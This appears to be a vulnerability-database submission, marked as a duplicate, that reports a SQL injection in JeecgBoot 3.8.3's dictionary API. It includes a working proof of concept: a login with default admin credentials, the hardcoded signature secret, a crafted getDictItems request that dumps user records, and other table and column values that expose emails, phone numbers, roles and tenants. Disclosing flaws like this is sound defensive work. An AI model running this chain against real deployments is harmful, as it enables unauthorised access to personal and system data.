| 제목 | Guojusoft (Beijing Guoju Information Technology Co., Ltd.) JeecgBoot 3.8.3 SQL Injection |
|---|
| 설명 | JeecgBoot ≤ 3.8.3 contains a SQL injection vulnerability in the dictionary API.
Endpoint: /jeecg-boot/sys/dict/getDictItems/{dictCode}
File: SysDictMapper.xml — uses MyBatis ${} string interpolation for table and column names:
SELECT ${text} as "text", ${code} as "value" FROM ${table}
Prerequisites:
- Default admin credentials (admin/123456 from init SQL, /sys/mLogin requires no CAPTCHA)
- Default signatureSecret "dd05f1c54d63749eda95f9fa6d49v442a" (hardcoded, public in GitHub repo)
- Default dev mode auto-whitelists queried tables
PoC (verified on live instance, JeecgBoot 3.8.3 + MySQL 8.x + Redis):
1. Get JWT token:
POST /jeecg-boot/sys/mLogin {"username":"admin","password":"123456"}
2. Compute signature (MD5 of params.json + default_secret):
sign = MD5({"x-path-variable":"sys_user,username,id"} + secret)
3. Extract usernames from sys_user table:
GET /jeecg-boot/sys/dict/getDictItems/sys_user,username,id
X-Access-Token: <jwt>
X-Sign: <computed_sign>
X-TIMESTAMP: <unix_ms>
Response: {"success":true,"result":[
{"text":"admin","value":"e9ca..."},
{"text":"jeecg","value":"a75d..."},
{"text":"zhangsan","value":"3d46..."}
]}
Other exploitable dictCode values:
- sys_user,phone,email (phone numbers + emails)
- sys_role,role_name,role_code (system roles)
- sys_tenant,name,id (all tenants)
- jimu_report_db,db_dyn_sql,db_code (report SQL source code)
Root cause: No parameterization. ${} replaces user input directly into SQL without allowlist. |
|---|
| 사용자 | PenguinK (UID 100255) |
|---|
| 제출 | 2026. 07. 31. AM 06:19 (2 개월 ago) |
|---|
| 모더레이션 | 2026. 09. 25. AM 10:21 (2 months later) |
|---|
| 상태 | 중복 |
|---|
| VulDB 항목 | 349569 [JeecgBoot 까지 3.9.1 getDictItems isExistSqlInjectKeyword SQL 주입] |
|---|
| 포인트들 | 0 |
|---|